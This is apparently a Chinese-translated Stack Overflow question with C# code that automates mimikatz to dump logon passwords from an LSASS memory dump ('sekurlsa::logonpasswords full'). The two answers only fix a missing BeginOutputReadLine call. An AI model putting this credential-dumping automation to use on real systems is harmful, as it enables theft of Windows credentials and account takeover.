我想在c#中运行和使用mimikatz,并在最后一个命令完成后运行一些命令,但我看不到任何来自mimikatz的输出{没有观察到输出}谢谢&致敬
Process cmd = new Process();
string[] commands = new string[] { "sekurlsa::minidump lsass.DMP", "log", "sekurlsa::logonpasswords full","exit" };
int c = 0;
cmd.StartInfo.FileName = "D:\\Program\\Mimikatz\\x64\\mimikatz.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.OutputDataReceived += (s, e) =>
{
Console.WriteLine(e.Data);
if (e.Data== "mimikatz #")
{
cmd.StandardInput.WriteLine(commands[c++]);
}
};
cmd.Start();
cmd.StandardInput.WriteLine("privilege::debug");
Console.ReadLine();发布于 2021-05-18 20:52:31
如果您在cmd.Start()之后调用cmd.BeginOutputReadLine();,则将调用您的OutputDataReceived方法。
发布于 2021-05-18 20:52:38
参见Process.OutputDataReceived Event manuel,您提供的代码遗漏了对BeginOutputReadLine方法的调用。
https://stackoverflow.com/questions/67585838
复制相似问题